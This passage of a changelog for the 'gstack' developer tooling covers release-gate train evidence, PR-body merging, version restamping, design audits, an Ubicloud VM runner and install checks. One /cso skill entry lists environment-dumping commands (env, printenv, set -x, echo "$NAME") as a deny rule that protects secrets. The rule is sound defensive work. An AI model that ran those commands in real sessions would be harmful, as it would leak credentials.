Tests

test/ship-queue-train-ops.test.ts (new; the gh shim in test/helpers/ship-queue-train-fixture.ts gained binding, outcomes, reuse, plan: null and ci rules with the real artifact layout): a RED screen refuses ready under either choice, is printed by verify --screen with its red and flaky cases and refuses the pin in train build; a GREEN screen with flaky cases is followed and recorded; a NOT-RUN screen refuses verify with QUEUE_SCREEN_NOT_RUN, records NOT_RUN and is re-dispatched; a lagging or missing merge ref gets a scratch merge as screen/<pr>-<head12> and a real conflict stays QUEUE_SCREEN_STALE_REF; prune --stale settles only an all-merged-or-closed train and keeps one with an OPEN PR; train forget removes a train or a receipt and refuses a merging train; watch resumes from free-pending through the gate to the verdict and never dispatches twice; verify --post-merge waits, is red with the failed names, green when settled, resumable after a timeout; ready --dispatch-ci dispatches, waits, clears the matching lanes, refuses a red run and a fork head; --stack-tests catches a PR whose new test fails on T2 and passes after --order moves it first. Each was red before its change.

test/ship-queue-train.test.ts: the stale-ref test now proves the scratch merge path; the planned-0-cases test expects the SCREEN: verdict lines.

Gate integrity

No threshold, rubric, trial count, case kind or judge prompt changed. A screen's verdict is read as evals.yml bound it; nothing here changes what a case must pass.

[1.91.262.0] - 2026-10-27

The weekly release accepts a commit a green train merged, and five lane frictions seen in operation are gone. Trains merge faster than the main backstop settles, so most main commits ended with a neutral (superseded) main-backstop check run and the weekly cut returned NO_GREEN_COMMIT for a week of commits every one of which merged through a green train. The evidence already existed in refs/notes/gstack-trains; the gate now reads it. Alongside: gstack-issue-links no longer turns another repository's (name #N, #M) into this repository's Refs lines, gstack-post no longer asks for a confirmation on run ids written next to run words, gstack-post pr-body no longer wipes a PR body when a lane posts one section, and gstack-ship-queue ready finds the pregate verdict a lane recorded from a separate clone.

Changed

scripts/release-cut.ts: a commit on main's first-parent history is gated either by a successful backstop check run or by a train record (kind train, state green, merging or merged) whose merged[] lists its sha or its tree, the main commits gstack-ship-queue verify --train confirmed. Everything else stays required: the required check run succeeded, no red check run (a red backstop on a covered commit still refuses), nothing still running, no active freeze. A commit with neither is refused with the same message as before. The CANDIDATE line says gated by main-backstop or gated by train <nonce>. The notes ref is fetched and read once (readTrainNotes: the freeze and the train evidence together; activeFreeze is folded into it). New flags --required-check <name> (default free-tests), --backstop-check <name> (default main-backstop) and --notes-ref <ref> (default refs/notes/gstack-trains) let another repository run the script; weekly-release.yml is unchanged.

lib/issue-links.ts: a parenthesised named reference, (name #N[, #M]…), (name PR #N) or (name issue #N), where the name is one token that is not a closure, reference, filler or version word (fix, fixes, fixing, closes, closing, resolves, addresses, implements, supersedes, refs, see, related, part, follow-up, deferred, PR, issue, bug, upstream, cf., e.g., i.e., of, to, the, v1.2, …), is a cross-repo reference to name (Refs name#N), never a same-repo Refs line or a fix #N promotion candidate. (see #12), (closing #12), (cf. #12), (#301) and Fixes #12 keep their meaning; the owner/repo#N form is unchanged.

lib/gstack-post.ts: an 11-digit GitHub Actions run id right after a run word on the same line (run, runs, screen, screens, gate, gates, backstop, bisect, rerun, dispatched, dispatch, failed, passed, with an optional : # =; a generic word such as id, job, attempt or workflow exempts nothing), and every id chained after an allowlisted one through , , and, &, or or / (a (#1234) between allowed), is exempt from pii.phone.e164. failed 40269992077 | rerun passed 40287239206, screen 40269992077 (#3434) and 40275443393 (#3453) and gate 40323989742 post without --confirm. A bare 11-digit number, a 10-digit national number and +14155551234 still report.

lib/gstack-post.ts (pr-body): the body file is merged by ## section into the PR's current body (read with gh pr view --json body, or glab mr view, through the same runner) instead of replacing it. A section in the file replaces the same-titled section in place (case-insensitive), the gstack-ship-receipt block is a section of its own so a receipt rewrite replaces only the receipt, sections the file does not rewrite are kept byte for byte, new sections are appended after them, and a current body with no ## headings is kept as the leading text. A ## line inside a code fence is not a section: a fence closes only on a run of its own character at least as long as the opener with nothing after it, so a line inside a ```` block or ajs line closes nothing, and a receipt fence that never closes is an unclosed fence (the body after it stays one kept section) rather than a receipt that swallows ## Approvals. The file's leading text replaces the current leading text; text after a receipt block never replaces an intro; whitespace-only text in the file is dropped, so reposting the body /ship composes (receipt, blank line, sections) is byte-stable. One stderr line names the replaced, kept and added sections. --replace keeps the plain overwrite for a caller that composed the whole body. The redaction scan and the confirmation token cover the merged bytes, which are the bytes sent. A current body that cannot be read posts nothing (exit 3) and names --replace.

lib/pregate/index.ts, lib/ship-queue.ts: gstack-pregate mirrors every record it writes to <state root>/pregate/by-tree/<tree>.json (best effort; a mirror failure never fails the record). ready reads the checkout's .gstack/tmp/pregate.json (or --pregate) first; when it is missing, unreadable, recorded for another tree, or current but still waiting on a remote receipt, it looks the current tree up in the mirror and uses that record when it verifies, printing PREGATE: … (from the state root's pregate/by-tree/<tree12>.json, recorded by another checkout). A lane whose gstack-pregate --remote had to run in a separate clone (a worktree cannot host it) no longer gets PREGATE_STALE, PREGATE_REMOTE_UNCLEARED or missing from its own checkout. Only a run that holds the tests stage stands in (what --stage tests --remote writes): a mirror without the lanes check (an --only timing or preflight-only run), one recorded against another base, or one run under --policy-from head is named on the PREGATE: line and never certifies READY; a record whose own checks failed or stayed incomplete is never overridden. A mirror for another tree changes nothing; the mirror is written through a temp file and rename.

Docs

docs/releases.md: the release-gate paragraph describes both kinds of evidence, what train evidence does not relax, the CANDIDATE wording and the three flags. docs/pregate.md: the by-tree mirror and how ready reads it.

docs/troubleshooting.md: #redact-run-id-as-phone (what triggers pii.phone.e164 on a receipt token or a run id, the positions gstack-post allowlists, and the fix), #gstack-post-pr-body-merge (what pr-body keeps, replaces and adds, and --replace) and #gate-error-no-base (GATE_ERROR=no_base from gstack-gate-diff, the printed fetch command, and SCOPE_ERROR=no_base from gstack-diff-scope for the same cause).

Tests

test/release-cut.test.ts: on the real bare origin with train records pushed to refs/notes/gstack-trains, a neutral backstop plus a record naming the sha, or only the tree, is the candidate and the CANDIDATE line names the train; a covered commit is still refused by a red check run, a red backstop, a missing or failed required run, a running run, and a record in state red, superseded, incomplete or free-green is not evidence; with no record every neutral commit is skipped with the unchanged text and an older covered commit wins; the three flags rename what the gate reads through planRelease and the CLI, and the defaults do not see a record under another ref.

test/ship-issue-intent.test.ts: (gbrain #7625, #7606), (gbrain PR #7630) and (acme/tools issue #4) are cross references with no Refs line and no promotion candidate; (see #12), (fixes #12), (PR #12) and the other reference words stay bare refs; (#301) and Fixes #12 are unchanged.

test/gstack-post.test.ts: each run-word and chained shape posts; the id without a run word, an id after see, a 10-digit number, +14155551234 and run +14155551234 still need confirmation. For pr-body, through runPost with a fake runner answering gh pr view --json body: a first-section-only file keeps the receipt and the other sections and the stderr line names them; a same-titled section is replaced in place; a receipt-only file replaces only the receipt; new sections are appended; a ## inside a code fence is not a heading; --replace overwrites without reading the body; a headingless current body is kept as the leading text; an empty current body posts the file byte for byte; a secret in a kept section is a HIGH refusal on the merged bytes; a failed read is exit 3 with the --replace hint; --replace on another operation is a usage error.

test/gstack-ship-queue.test.ts: a mirror for the current tree under GSTACK_STATE_ROOT makes ready pass from a stale --pregate and from a missing default file, with the from suffix; a mirror for another tree leaves PREGATE_STALE and missing as they were; a current explicit --pregate is used as before with no suffix.

Gate integrity

No threshold, rubric, trial count, case kind or judge prompt changed. The release gate accepts a new kind of evidence (a green, merging or merged train record naming the commit) and relaxes no other requirement; the gstack-post allowlist widens only for 11-digit tokens in the listed positions.

[1.91.261.0] - 2026-10-27

gstack-restamp --next moves a PR's quoted since: rows when its VERSION already equals the base's (gbrain #7640). A gbrain PR stamped 0.60.468.0, lost its slot, merged master, and master was 0.60.468.0 by then. At its next slot restamp left the PR's { since: '0.60.468.0', … } notice rows at .468 while the release shipped as .469, and gbrain's compareReleases then hid that notice from every user already on .468. Two gaps combined: with VERSION equal on both sides the branch had no stamp of its own, so nothing was rewritten everywhere, and the mention scanner that reads the lines the branch added could not pass the opening quote of a quoted row (since:\s*(\d…)), so it found nothing either. --was 0.60.468.0 was no answer, because it rewrites master's own .468 rows too. The quote fix alone covers that merged-base state (the base's .468 is newer than the branch's .467 fork point, so the scanner names it); the equal-version rule below covers the state the fork-point floor cannot, a branch rebased onto the base after it reached X, or one never stamped.

Fixed

Quoted versions are stamp forms in both the mention scanner (tentativeMentions) and the exact rewrite table (rewriteStamps) of lib/restamp.ts: since: 'X', since: "X", (was 'X') and (was "X") match like the bare forms and keep their quote style, and an opened quote must close right after X, so since: '1.2.3-beta' and a mismatched since: '1.2.3" are not the form (the tree receipt and the gate-reuse normalizers share rewriteStamps, so a quoted since: rewrite classifies as a stamp without a template, and a quoted prerelease change never does); vX already accepted a quote before the v. The scanner also reads the policy's stamp_patterns templates, so a template-only form on a branch-added line is a candidate too.

The equal-version rule. When the branch has no stamp of its own (its VERSION equals the base's and no --was is given), a stamp-form mention of the base version on a line the branch added is its stale tentative stamp and moves to the allocated version; the same version on a line the base already carries is the base's release and stays. The stamp_paths stage detail, printed in the stage table and kept in the journal, names both counts per file (VERSION equals base X, so X moved only on lines this branch added and stayed on the base's own lines (<file>: N moved, M kept)), so the stamp commit's tool output shows which lines moved and why; when an explicit stamp matched nothing the skipped detail now names the version it searched for. The rule reads line ownership, not meaning: a branch-added Requires vX or later inside stamp_paths on a branch forked at X moves too, visible in --dry-run and the counts; docs/ship-policy.md says how to write such a reference. The explicit --was X path is unchanged and still rewrites X on every line; its help line now says so and names the CHANGELOG re-heading it also drives.

Branch-added lines are known by position, not text. branchAddedLines records each added line's new-side position beside its text (parseUnifiedDiff counts it through any context line a hunk carries, and the diff pins --inter-hunk-context=0 so a diff.interHunkContext setting cannot join hunks), and the stage rewrites by position, so a base line whose text equals a branch-added line stays while the added copy moves, and a CRLF checkout (core.autocrlf, eol=crlf), whose diff is LF-normalized while the file carries CR, still finds the branch's row instead of reporting 0 moved and shipping it stale.

A stamp interrupted after VERSION was written retries as a stamp. The journal recovery restored the branch's own stamp but kept the already-written VERSION as a stamp when the original was the base version, so the retry rewrote nothing and returned noop with the row still stale; it now restores the equal-base provenance (no branch stamp) and the retry completes the stamp.

Tests

test/restamp-mentions.test.ts: the pure forms (single quote, double quote, bare unchanged, quote style kept, a mismatched quote pair refused, a template overlapping the built-in form counted once, the fork-version floor on quoted mentions) and, on the fixture repo, the reporter's state rebuilt with the real bin/gstack-restamp: the other PR takes the slot through the tool, the PR merges main with VERSION equal on both sides, and --next moves the PR's quoted row, keeps the base's two rows byte for byte, and says why in the stage detail; the same with the built-in form alone (no since: template); a negative control where the PR adds no base-version mention and every base-side quoted row stays; a branch forked at the base version (fork equals base, nothing stamped) whose own base-version row and doc mention move while the base's stay; and --was rewriting the base's row as well; then the quoted-prerelease and mismatched-quote boundaries in both the scanner and the table, a branch-added line whose text equals a base line (the base copy stays), a CRLF checkout, and an apply interrupted by EACCES after VERSION was written whose retry completes the stamp. Eleven of the file's thirteen cases are red at 1.91.253.0 (the template-overlap and --was cases pass there, as they should).

test/stamp-templates.test.ts: the quoted since: row now counts once with or without the template (it pinned zero without one).

Docs

docs/ship-policy.md: the stamp_paths stage states the quoted forms and the provenance rule (the branch's own stamp everywhere; on branch-added lines, mentions newer than the fork version and, with VERSION equal to the base's, the base version; --was as the rewrite-everywhere tool).

[1.91.260.0] - 2026-10-27

Changed

/design-review audits a Persuade page or a redesign for craft, or on request (sections/craft-audit.md, read in Phases 1-6; design-review is now carved on every host, so the audit is one lazy section, not inlined text). It runs bin/gstack-design-craft on each page's served HTML (or the repo file when no app runs) and files each CRAFT_CHECK line as a category 9 finding (no CRAFT_RESULT line means the check was unavailable, and a framework mount-node shell is judged by eye too; the saved page holds only inline CSS and JS, so 100vh, transition: all, scroll listeners and alert() are also judged by eye; it also holds session data, so it is deleted in the block that checks it, whatever the exit code, and never copied to the report; --accepted takes that screen's finalized.json, only for a page /design-html finalized, and never covers needs-proof or lorem; a claim without proof is filed and asked about, never marked or cut); checks what the tool cannot see (claims only from the user, realistic sample content, the ship floor, a designed 404, cookie consent where required, the motion rules); files a failed Persuade check (one primary action, named objections, proof beside each claim, a real risk reversal, an index/noindex decision) as a deferred High finding, since its fix needs the team's copy or indexing call; and in Phase 8 breaks impact ties with Elaya's fix order and reads the installed Tailwind major version before touching its config. The audit's rules render from /design-html's craft section, so the build and the audit cannot drift.

/plan-design-review: a Persuade plan gets the same five checks in Pass 1, Pass 4 rejects unsourced proof, and the runner checklist names them.

The craft tells are catalog entries. Placeholder people and brands, lorem, round sample numbers, [Needs proof: markers, "Oops" errors, scroll-listener reveals, dead href="#", alert(), images without alt, 100vh, and a missing title, description, favicon, skip link or aria-current live in lib/design-catalog.ts as checkerOnly entries: one id, one short line and the fix, reported by the craft check and kept out of Methodology category 9, review/design-checklist.md and the consultation bullets, so no skill carries their prose. lib/design-craft.ts prints only catalog ids, with each entry's fix text; transition: all now reports under the existing layout-transition id instead of transition-all.

The craft check's transition: all tell is layout-transition, the design lint's id for it (lib/design-lint/rules/copy.ts leaves it to the lint's static tier, as it does vh-height). A craft_exceptions entry recorded as transition-all is read as layout-transition, so an exception accepted before the rename still applies.

Tests

test/helpers/placeholder-allowlist.ts lists <path-to-page.html> (path grammar), the saved page the craft audit passes to the check.

The design-review and plan-design-review paid cases and judges that read a design resolver now also select on scripts/resolvers/design-craft.ts, and design-html-slop-gate on lib/design-catalog.ts, where the craft check's ids and fixes now live.

test/design-craft.test.ts: every id the check prints is a grep-detectable catalog entry, and the fix it prints is the catalog's. design-review gets its first carve guard (skeleton, union and parity ratio at their measured sizes).

test/design-craft.test.ts also pins that checkerOnly entries reach no rendered list while the craft check prints each one, that a change to scripts/resolvers/design-craft.ts selects the design-review and plan-design-review cases, and the exception cells a stale record, an over-count tell without --accepted and a malformed record on disk reach. New test/design-craft-resolvers.test.ts: {{DESIGN_CRAFT_RULE}} renders one paragraph with its bullets and fails generation on a missing or ambiguous lead, and both skills carry the same five Persuade checks; the generated craft audit keeps its outcome, exception and session-data rules (and the design-review carve guard checks the last one). test/design-craft.test.ts also covers the needs-proof and stale-record exception cells.

test/design-lint.test.ts reads the craft ids from CRAFT_IDS instead of scanning lib/design-craft.ts, and every one is a lint rule (layout-transition and vh-height belong to the static tier); test/design-craft.test.ts covers the legacy transition-all exception.

Gate integrity

Size budgets raised to measured sizes only (Garry 2026-10-25 "Do it" (GSTA-92)): the SKILL.md pins of design-review on 12 hosts (+578 Claude, +608 on the 11 external hosts: the Section index the carve test requires and the STOP pointer) and plan-design-review on the 11 external hosts (+1,082: the five Persuade plan checks). The craft tells are catalog entries the craft check reports with their fix, kept out of every rendered skill list, so design-consultation and the review checklist do not grow. No other threshold, budget, timeout, retry or trial count changed.

[1.91.259.0] - 2026-10-26

New /ubicloud skill: the Ubicloud runner moves into gstack with the discipline a shared vCPU quota needs. Crews ran heavy suites on Ubicloud through a user-scope skill and per-lane wrappers, and paid for it in stray VMs after a machine slept, a project quota at 528 of 512 vCPUs when lanes verified in parallel, verifies that hung for an hour before anyone noticed, and a stale wrapper that skipped a service start. scripts/ubicloud/ubi-runner.sh now carries the fixes and ubicloud/SKILL.md (entry point bin/gstack-ubi) teaches the watched launch; bun run test:ubicloud and the remote pregate are unchanged.

Added

ubicloud/SKILL.md.tmpl, bin/gstack-ubi: the skill: set/unset prerequisite checks (never env), UBI_OWNER on every machine, a watched launch (a waited-on background operation or gstack-detach), the quoted recovery line, one committed verify per repository, how to read exit 124 and a quota refusal, and the resume checklist. Classified CLAUDE_ONLY in lib/doctor-components.ts; routed from the root SKILL.md; listed in README, AGENTS.md, docs/skills.md and docs/PROJECT_STRUCTURE.md.

TTL names and a reaper: a generated VM name ends in -t<hours> (UBI_TTL_HOURS, default 4; 0 omits it). reap destroys every VM in the project whose TTL ended more than ten minutes ago, whichever owner created it, and every up runs it first (UBI_REAP=0 skips it). Names without a TTL, including the ones pregate-remote.sh builds, are never reaped.

Quota preflight: up adds the size's vCPUs to the project's running VMs and refuses before the create request when that exceeds the known ceiling (UBI_QUOTA_VCPUS, or the maximum the last API refusal printed, remembered in the state root); UBI_QUOTA_WAIT=<seconds> polls for room instead of refusing. Both refusals (the preflight's and the API's) print the per-owner usage table.

Watchdog and heartbeat: run, verify and ssh NAME COMMAND stream the remote output (both streams kept in the VM's state dir) through a watchdog: a heartbeat every UBI_HEARTBEAT seconds (300), and a command silent for UBI_IDLE_TIMEOUT seconds (1800) or older than UBI_RUN_TIMEOUT (0, unlimited) is killed in its own session with exit 124 and its last 40 lines on stderr. run also prints the VM's TTL and its down recovery command as soon as the VM is ready.

verify: runs the repository's committed .gstack/ubicloud.json (setup, command, size, location, storage, image, env, pass, pull; flags and a trailing -- COMMAND override it) and refuses without the file or a command, so every lane runs one definition instead of its own wrapper. The file is repository content and gets no reach beyond the checkout: setup and each pull destination must be relative paths that resolve inside --src (absolute, ~ and .. paths are refused before any API call, and under verify every pull destination is resolved again, symlinks followed, right before its pull, so a symlink an earlier pull planted cannot redirect a later one; a refused pull makes the run exit 1), and a name under pass is forwarded only when the command line grants it (--pass NAME, or every listed name with --trust-config; verify parses its options by arity, so an option value can never act as that flag). --pass never forwards UBICLOUD_*, from the file or the command line.

Watched commands keep their stdin and exit codes: ssh NAME COMMAND hands the caller's stdin to the remote command (printf payload | gstack-ubi ssh NAME 'cat > file' wrote an empty file once the watchdog backgrounded the client), a command that finished while the watchdog read the clock, or in the instant before its kill, keeps its own exit status instead of 124, a hung setup script exits 124 like a hung command instead of 1, Ctrl-C on a watched command takes the ssh session down with it, and when the watchdog fires the runner also ends the command's session on the VM (setsid there, leader pid in ~/.ubirun-<phase>-<runner pid>.sid, kept until the cancel reads it so a background child the command left behind is still reachable, pkill -s bounded to 20 s), since killing the local client alone leaves a silent remote command running until it next writes.

pack and sync from a linked worktree: a worktree's .git is a one-line pointer into the main repository, so the VM got a checkout whose git did not work (gstack-pregate --remote from a Capy worktree failed with PREGATE_VM_TREE_MISMATCH vm=unavailable). The tarball now carries a self-contained clone of the checked-out branch with the worktree's own index in its place (about 45 MB for gstack instead of the main repository's full .git); a detached worktree is refused with the fix named.

Quota ceiling and reaper outcomes: the maximum a refusal cached is trusted for a day, then the API's own answer decides again; the refusal line says where the ceiling came from and names UBI_QUOTA_VCPUS, and its vCPU quota exhausted wording is the one pregate-remote.sh retries once on. reap returns 1 when the list fails (nothing destroyed) or an expired VM could not be destroyed, instead of 0 either way; a TTL suffix is read in base 10 (UBI_TTL_HOURS takes 0 to 999 with no leading zero).

Tests

test/ubicloud-runner.test.ts: against the fake API, up reaps an expired other-owner VM, names its own VM -t4, and the preflight refuses with no create call; UBI_REAP=0 and UBI_TTL_HOURS=0; reap leaves unexpired and TTL-less names alone. Against a fake ssh, the watchdog returns 124 with the last output and the heartbeat line appears. verify refuses a missing file, a missing command, a missing setup script (resolved against --src) and invalid JSON, all before any API call. A second fixture whose fake API can create runs run end to end: a hung setup exits 124 and still destroys the VM, UBI_RUN_TIMEOUT kills a chatty command, --pass writes the named variable (and never UBICLOUD_* or a non-name) into the VM's env file without printing it, ssh NAME COMMAND passes stdin through, verify refuses ungranted pass names and setup or pull paths outside --src and runs once granted, a quota refusal caches its maximum which drives the preflight until it is a day old, UBI_QUOTA_WAIT waits before refusing, and reap reports a failed list or destroy.

test/catalog-budget.test.ts ratchet 1,251 → 1,289 token-equivalents (ubicloud adds 150 bytes on top of /captain's 1,251); test/fixtures/context-budget.json gains the ubicloud ceiling only.

[1.91.258.0] - 2026-10-26

The session check stops failing for things that are not failures, and a consuming repository can name the gstack it wants without broadcasting to every thread. Five Captains running gstack on Capy hit the same install friction this week: eight crew-wide "upgrade to " messages since Oct 16, gstack: fail not-installed on coordinator machines that run no workflow, fail pins from the image's Node while the tests run on the pinned one, reviewers told to "reinstall" when asked to run a workflow, and an environment dump from a broken /cso shell line. Each of these is now a product behaviour instead of a crew rule.

Added

Project floor (floor row in gstack-doctor --check, lib/doctor-components.ts, bin/gstack-doctor-check.sh): a consuming repository declares the oldest gstack it wants its crew on as min_gstack_version in its .gstack/ship-policy.json (the field gstack-ship-queue already validates; a file holding only that field is valid). The doctor reads it from the project the check runs in: PASS floor <f> declared by <file>, SKIP floor (... declares none), or WARN floor — installed <v> is below the floor <f> ...; fix: <install command> (PROJECT_FLOOR_UNMET). The Capy installer adds floor=<f> (<file>) and a fix: note to its ok trailer. One commit in the project replaces a message to every thread; the fix on Capy is the install command, which fast-forwards a clean checkout to origin in one step.

--for none (capy/skill/gstack/scripts/install.sh wrapper 3, bin/gstack-capy-install): a machine that runs no gstack workflow (a coordinator, a liaison, a Captain) prints gstack: ok not-needed for=none (<notes>) and exits 0, installing, moving and certifying nothing, with or without a checkout. The bootstrapper answers it itself, so the line is honest for any checkout revision. That ok admits no workflow: no install verdict is written, so a workflow started there is refused with the usual --for <skill> fix. GSTACK_CAPY_MIN_WRAPPER is 3; older Drive copies keep working and print the owner action.

Review-voice machines upgrade in place (bin/gstack-capy-install): running --for <skill> on a machine installed --for review-voice says upgrading the review-voice install in place to --for <skill> (same checkout ...; no second clone), applies the project's pins, runs ./setup and both host profiles, and writes the workflow's verdict over the reviewer's. The admission refusal's fix now says so (upgrades this checkout in place: ./setup and host profiles, no second clone) instead of reading like a reinstall.

Changed

A gap above the supported minimum is never a hard fail (bin/gstack-capy-install): an install-mode session whose session-start fast-forward was skipped (dirty, diverged or pinned checkout, a live lease, gstack-upgrade missing) prints WARN behind — ... and the session-start upgrade was skipped: <reason>; fix: <command> (UPGRADE_BUSY|UPGRADE_REFUSED|UPGRADE_SKIPPED) and keeps its ok trailer with behind=<n> (latest: <ver>); upgrade skipped: <reason> (<CODE>); fix: <command> notes, exit 0. It used to be gstack: fail behind, exit 1. Below the supported minimum the bootstrapper still fails revision (REVISION_BELOW_MINIMUM).

A Node-only pin mismatch is advisory (bin/gstack-doctor-check.sh): when the project's Node pin is unmet by the Node on PATH while every Bun pin is met, pins is WARN pins — ... (node pin only; bun pins pass); fix: ... (PROJECT_NODE_PIN_UNMET) and the trailer stays ok. gstack runs on Bun and the project's tests choose their Node (nvm, the CI matrix). A Bun pin that is unmet stays FAIL pins (PROJECT_PIN_MISMATCH).

WARN rows print their action as given (_dc_row): owner action: ... for the Capy skill copy, fix: ... for the floor, a skipped upgrade and a Node pin, so a lane knows which WARNs it can clear itself.

A Drive copy below the wrapper minimum is a WARN in a direct run too (bin/gstack-doctor-check.sh): with no bootstrapper provenance (bin/gstack-upgrade's installer run, a direct gstack-doctor --check), every Drive copy at a bootstrapper revision below GSTACK_CAPY_MIN_WRAPPER is WARN wrapper — every Capy skill copy is below the minimum wrapper 3 (it still works): ... with the owner action and an ok trailer; only a pre-bootstrapper copy (no GSTACK_CAPY_WRAPPER= line) still fails. Found by /ship's red team: raising the minimum to 3 would otherwise have failed every direct run on a machine whose Drive copy is the deployed wrapper 2 until the owner recopied the skill.

A --for none session never self-upgrades (bin/gstack-capy-session): an older bootstrapper (wrapper 1 or 2) hands --for none to the session in install mode; the session now treats it like --check (reports behind=, moves nothing) before the installer prints ok not-needed; the old bootstrapper's own clone or fast-forward of a below-minimum checkout, before the handover, is unchanged. Wrapper 3 answers --for none before the session. The session's header comment describes the WARN behind outcome (it said fail behind).

/cso (cso/SKILL.md.tmpl): the always-loaded startup block gains two rules. Environment hygiene: prerequisite checks read a variable as set or unset only, and env, printenv, set -x, a bare set or export, export $(...) and echo "$NAME" never appear in a tool fence. Tooling errors fail loudly: a non-zero exit with no helper status is retried at most twice (5 s, 30 s; start is resumed, not restarted, because a run may exist before its ID prints) and then ends not assessed for whatever the helper never recorded, quoting the command, exit code and stderr tail; never a quiet partial, never another review offered as the missing coverage.

Capy skill and docs (capy/skill/gstack/SKILL.md, docs/capy-install.md): the session-start steps cover --for none, floor=, behind= as informational, the Node WARN and the in-place review-voice upgrade; run directories and scratch on Capy live under ~/.capy/work/<name>, never /tmp, which Capy wipes when a machine sleeps.

Result codes (lib/result-codes-capy.ts): PROJECT_FLOOR_UNMET, PROJECT_NODE_PIN_UNMET and UPGRADE_SKIPPED, each with a docs/troubleshooting.md anchor.

The trailer's fix: after a skipped upgrade is one runnable command (bin/gstack-capy-install): the session's rerun or bin/gstack-upgrade (which prints its own refusal), never the refusal's prose; that prose, with its GSTACK_UPGRADE_FORCE=1 escape hatch for a live lease, stays on the WARN behind row (found by /ship's adversarial review: an agent told to run the fix: command was being handed prose with the note separator in it).

The floor reader is whitespace-insensitive (bin/gstack-doctor-check.sh): min_gstack_version on one line and its value on the next, which lib/ship-policy.ts accepts, is read, the first occurrence (the top-level field) wins, only the first 64 KiB of the file are read, and a present string value that is not a plain dotted version SKIPs as such instead of as "null or absent" (found by Codex and the adversarial pass in /ship's review).

Tests

test/gstack-doctor.test.ts: the floor row's four outcomes (absent file, null key, met, unmet with the wrapper fix and without it) and the Node-only WARN beside a Bun-plus-Node FAIL; every required-row list gains floor.

test/gstack-capy-install.test.ts: a skipped session-start upgrade is an ok trailer with the upgrade skipped note and a WARN behind row (replacing the fail behind pin); a WARN floor row becomes the floor= and fix: notes, with one fix: when behind= is also present; --for none with and without a checkout; a review-voice verdict upgraded in place by --for autoplan (setup runs, the verdict becomes the workflow's).

test/capy-skill-wrapper.test.ts: --for none through the bootstrapper (checkout present, install mode, no checkout), wrapper 3 in the handover; a wrapper-2 handover of --for none in install mode leaves HEAD where it was.

test/gstack-doctor.test.ts: a direct run with every Drive copy a bootstrapper below the minimum is a WARN with an ok trailer, and a pre-bootstrapper copy beside it keeps the FAIL. test/gstack-capy-install.test.ts: an unknown skip code collapses to UPGRADE_SKIPPED with its anchor; the in-place upgrade message is silent for a same-profile rerun, --check and a second review-voice install.

test/helpers/carve-guards.ts: the /cso skeleton pin moves to 18,900 (measured 18,843) for the two startup paragraphs; test/fixtures/context-budget.json pins capy/skill/gstack and cso at their new eager sizes.

Gate integrity

No threshold, rubric, trial count, case kind or judge prompt changed. The /cso skeleton cap and two context-budget ceilings went up by the measured size of the added prose, with the reason in the pin.

[1.91.257.0] - 2026-10-26

A remote gate that ran ahead of the stamp now clears /ship's small-machine obligation; gbrain stops paying a second full gate per PR. gstack-pregate clear --remote pregate.json/remote_gate --receipt <file> accepts a PREGATE_REMOTE: receipt whose tree differs from pregate.json's tree only in the repo's declared stamp paths. gstack proves it itself: a git diff of the two trees, every differing file classified by the tree receipt's own rule (lib/tree-receipt.ts classifyFile under .gstack/ship-policy.json on the base branch: stamp_files, stamp_patterns, and the built-in version-file, manifest-version, lockfile-root-version and changelog-heading forms), so the pregate verdict and gstack-tree-receipt's can never disagree; there is no second stamp list, and its gate rule holds too: a policy whose stamp_sensitive_gates names the test lane (tests, as gstack's own policy does) refuses the substitution, because the tree receipt never marks that lane reusable. The policy is the ship's own base branch's (origin/HEAD); a pregate.json recorded against another base is refused. gbrain's rule lets a head reuse a full gate whose tree differs only in release stamps, but /ship's Step 12 restamp always changed those files, so no gate-ahead run could satisfy remote_gate and every gbrain PR ran the whole gate again after /ship (#7621, #7674, #7681: 17–37 min, 64–128 vCPU each).

Added

lib/pregate/remote-receipt.ts (substituteStampOnlyTree): both trees must be objects here (the gated commit fetched, the head tree bin/gstack-wtree wrote); a path outside the rule, a stamp path whose hunk is not the exact old → new rewrite, an unfetched or non-hex gated tree, an unreadable, unfetched or invalid base policy, a policy whose stamp_sensitive_gates names the test lane, a pregate.json recorded against another base, a patch that does not account for every path git diff-tree lists, or a stamp_files hunk between two trees at the same version refuse with PREGATE_RECEIPT_INVALID and a fix naming the offending path (lib/x.ts (stamp_files: not in the repo's stamp_files allowlist, line 1)). The patch is read with a fixed presentation (--no-textconv --no-renames --ignore-submodules=none, a/ b/ prefixes) so a diff driver or diff.* setting can neither hide nor rename a path. The receipt's tests and failed checks are unchanged and run before any git work.

The substitution is recorded. The receipt string gains accepted-for=<head> stamp-only=<n> after tests=, and pregate.json's obligation carries substitution: { gated_tree, accepted_for, policy, files: [{ path, rule }] }; clear prints PREGATE_RECEIPT_SUBSTITUTED: gated tree … accepted for tree … under <policy>; stamp-only: <path> (<rule>), …, verify repeats it on its ok line, and a substitution whose accepted_for is not pregate.json's tree, or whose gated_tree is not the receipt string's tree=, is PREGATE_REMOTE_UNCLEARED.

Docs: docs/pregate.md#remote-gate-stamp-only (what is accepted, what is refused, how a consuming repo declares its stamp paths: .gstack/ship-policy.json on the base branch, the file the tree receipt already reads, and the four-command sequence that reuses a gate-ahead run); the PREGATE_RECEIPT_INVALID and PREGATE_REMOTE_UNCLEARED troubleshooting anchors.

Changed

lib/tree-receipt.ts exports classifyFile (the function is unchanged) so pregate reuses the rule instead of restating it; PregateRemote in lib/headless-artifacts.ts gains the optional substitution field (PregateReceiptSubstitution) and its schema entry. Both trees must be 40- or 64-hex object ids before any git call (a symbolic HEAD^{tree} in a receipt is refused, never recorded as the gated tree), and clearDecision now takes the repository root.

Tests

test/pregate-remote-stamp-only.test.ts: accept (five stamp files under a stamp_files + stamp_patterns policy, the recorded substitution equal to gstack-tree-receipt's file verdicts on the same pair, verify ok), the unchanged same-tree path, refusals (a path outside the rule, a stamp path with a description edit, an unfetched gated tree, an unreadable receipt file, zero tests, a failure, a symbolic tree, a head tree not in the object store, a mode-only difference, a stamp file at the wrong version, a pregate.json recorded against another base with and without origin/HEAD, an invalid base policy, a policy whose stamp_sensitive_gates names the test lane), verify on a misapplied substitution, and a same-tree re-clear dropping the recorded substitution.

[1.91.256.0] - 2026-10-26

